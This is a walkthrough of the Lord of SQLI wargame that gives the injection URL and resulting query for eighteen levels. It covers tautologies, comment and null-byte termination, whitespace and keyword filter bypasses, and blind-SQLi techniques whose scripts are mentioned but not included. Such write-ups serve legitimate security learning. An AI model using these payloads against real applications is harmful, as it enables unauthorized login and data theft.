Lord of SQLI

https://los.rubiya.kr/

1. Gremlin

URL Solution: ?pw=' OR ''= '

QUERY: select id from prob_gremlin where id='' and pw='' OR '1'= '1'

2. Cobolt

URL: ?pw=') OR ( id = 'admin

QUERY: select id from prob_cobolt where id='' and pw=md5('') OR ( id = 'admin')

3. Goblin

URL: ?no=no OR 1=1 ORDER BY id

QUERY: select id from prob_goblin where id='guest' and no=no OR 1=1 ORDER BY id

---

URL: ?no=0 or id=0x61646d696e

QUERY: select id from prob_goblin where id='guest' and no=0 or id=0x61646d696e

4. Orc

Using the ‘or’ operator and SUBSTR method Blind-SQLI can be executed to gain info. The passwords length is 8 characters. Script attached.

URL: 095a9852

QUERY: select id from prob_orc where id='admin' and pw='095a9852'

5. Wolfman

URL: ?pw=%27or%0Aid=%27admin

QUERY: select id from prob_wolfman where id='guest' and pw=''or id='admin'

The challenge in this case was to encode the whitespaces with %0A

6. Dark Elf

URL: ?pw=%27%20||%20id=%27admin

QUERY: select id from prob_darkelf where id='guest' and pw='' || id='admin'

Introducing || to mark OR

7. Orge

URL: ?pw=7b751aec

QUERY: select id from prob_orge where id='guest' and pw='7b751aec'

Solvable using the script from orc, after modifying OR, AND. Script attached.

8. Troll

URL: ?id=admIn

QUERY: select id from prob_troll where id='admIn'

SQL is not case sensitive!!

9. Vampire

URL: ?id=adADMINmin

QUERY: select id from prob_vampire where id='admin'

Blacklisting is shit

10. Skeleton

URL: ?pw=%27or%20id=%27admin%27%20or%20%27%27=%27

QUERY: select id from prob_skeleton where id='guest' and pw=''or id='admin' or ''='' and 1=0

11. Golem

URL: ?pw=77d6290b

QUERY: select id from prob_golem where id='guest' and pw='77d6290b'

Another Blind SQLi Losers say:

  • replace = with NOT x <> y

  • instead of SUBSTR with LENGTH to find the length and LIKE to create the query

winners say:

  • replace = with LIKE

  • replace SUBSTR with MID

Script attached.

12. Dark Knight

URL: ?pw=0b70ea1f

QUERY: select id from prob_darkknight where id='guest' and pw='0b70ea1f' and no=

Another Blind SQLi

  • “no” inject parameter like in Goblin

  • replace ' with "

Script attached.

13. Bugbear

URL: ?pw=52dc3991

QUERY: select id from prob_bugbear where id='guest' and pw='52dc3991' and no=

Another Blind SQLi

Script attached.

14. Giant

URL: ?shit=%0B QUERY: select 1234 from prob_giant where 1 |\n|\r|\t were blacklisted, so we used /v instead. /f works too.

15. Assassin

URL: ?pw=__2%

QUERY: select id from prob_assassin where pw like '__2%'

This time the script had to scrape for a character in the password that is unique to the admin.

Script attached.

16. Succubus

URL: ?id=\&pw= or true %23

QUERY: select id from prob_succubus where id='\' and pw=' or true #'

This time we couldnt use ticks. So, we turned id to be unusable and using password and commenting out the last tick we got in.

17. Zombie-Assassin

URL: ?id="&pw=%23 eurt RO

QUERY: select id from prob_zombie_assassin where id='"\' and pw='OR true #'

Same thing with srtrev()

18. Nightmare

URL: ?pw=')=0;%00

QUERY: select id from prob_nightmare where pw=('')=0;') and id!='admin'

Who knew:

  • Terminate the rest of the query with %00

  • Empty string equals to 0;

Last updated